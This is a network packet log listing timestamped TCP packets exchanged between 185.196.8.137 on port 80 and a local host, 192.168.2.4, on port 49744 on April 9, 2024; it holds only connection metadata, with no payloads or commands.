Apr 9, 2024 14:54:07.401941061 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.401956081 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.402009964 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.402103901 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.402251959 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.402390003 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.402479887 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.402530909 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.402616978 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.402662992 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.402777910 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.402792931 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.402882099 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.402896881 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.403023958 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.403242111 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.403276920 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.403311014 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.403326988 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.403373957 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.403388977 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.403446913 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.403461933 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.403505087 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.403548956 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.403666019 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.403680086 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.403755903 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.403829098 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.403887033 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.404053926 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.404184103 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.404228926 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.404305935 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.404321909 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.404416084 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.404640913 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.404949903 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.405021906 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.405062914 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.405118942 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.405252934 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.405275106 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.405291080 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.405328035 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.405361891 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.405389071 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.405404091 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.405462027 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.405570030 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.405702114 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.405721903 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.406023026 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.406096935 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.406177998 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.406192064 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.406235933 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.406256914 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.406425953 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.406446934 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.406646967 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.406790018 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.406810999 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.406831026 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.406850100 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.406897068 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.406945944 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.407001972 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.407032967 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.407084942 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.407116890 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.407136917 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.407215118 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.407238007 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.407315016 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.407365084 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.407438993 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.407525063 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.407545090 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.407563925 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.407582998 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.407592058 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.407639027 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.407660961 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.407720089 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.407751083 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.407771111 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.407789946 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.407850027 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.407870054 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.407931089 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.407951117 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.407993078 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.408013105 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.408057928 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.408103943 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.408183098 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.408240080 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.408272028 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.408385038 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.408405066 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.408425093 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.408456087 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.408477068 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.408539057 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.408571959 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.408634901 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.408654928 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.408745050 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.408793926 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.408847094 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.408896923 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.408967972 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.408987999 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.409008026 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.409027100 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.409106016 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.409126043 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.409176111 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.409216881 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.409262896 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.409306049 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.409322977 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.409363031 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.409373045 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.409393072 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.409414053 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.409454107 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.409509897 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.409533024 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.409550905 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.409570932 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.409626007 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.409646034 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.409663916 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.409706116 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.409766912 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.409786940 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.409858942 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.409878969 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.409908056 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.409919977 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.409941912 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.409950018 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.409965038 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.409976006 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.410007954 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.410008907 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.410034895 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.410063028 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.410072088 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.410084009 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.410103083 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.410114050 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.410135031 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.410161972 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.410167933 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.410187006 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.410218000 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.410242081 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.410243034 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.410259962 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.410264969 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.410286903 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.410305023 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.410325050 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.410334110 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.410346985 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.410387039 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.410406113 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.410415888 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.410432100 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.410445929 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.410480022 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.410517931 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.410525084 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.410535097 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.410547018 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.410562038 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.410592079 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.410605907 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.410618067 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.410639048 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.410666943 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.410689116 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.410728931 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.410747051 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.410773039 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.410787106 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.410800934 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.410815001 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.410829067 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.410878897 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.410881042 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.410892963 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.410902023 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.410923004 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.410940886 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.410943031 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.410964012 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.410980940 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.410984039 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.411004066 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.411007881 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.411025047 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.411046028 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.411065102 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.411071062 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.411084890 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.411104918 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.411123037 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.411143064 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.411161900 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.411180973 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.411201000 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.411218882 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.411237955 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.411257982 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.411277056 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.411294937 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.411314964 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.411334991 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.411354065 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.411372900 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.411391973 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.411410093 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.411428928 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.411448002 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.411467075 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.411485910 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.411639929 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.411660910 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.411700964 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.411720991 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.411778927 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.411799908 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.411818981 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.411839008 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.411858082 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.411878109 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.411896944 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.411916971 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.411976099 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.411995888 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412015915 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412034988 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412054062 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412072897 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412091970 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412111998 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412130117 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412149906 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412168980 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412188053 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412206888 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412235975 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412256002 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412276030 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412295103 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412313938 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412333012 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412352085 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412370920 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412389040 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412409067 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412429094 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412447929 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412466049 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412484884 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412503004 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412522078 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412540913 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412559032 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412578106 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412600040 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412620068 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412637949 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412657022 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412676096 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412694931 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412714958 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412733078 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412753105 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412770987 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412790060 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412807941 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412827015 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412846088 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412866116 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412884951 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412904978 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412924051 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412942886 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412961960 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.412981033 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413000107 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413021088 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413038969 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413058043 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413078070 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413095951 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413115978 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413135052 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413155079 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413173914 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413192987 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413211107 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413232088 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413252115 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413270950 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413290977 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413310051 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413328886 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413347960 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413367033 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413386106 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413405895 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413424969 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413444042 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413463116 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413482904 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413501978 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413523912 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413542032 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413561106 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413580894 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413599968 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413619041 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413638115 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413655996 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413674116 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413692951 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.413712978 CEST	80	49744	185.196.8.137	192.168.2.4
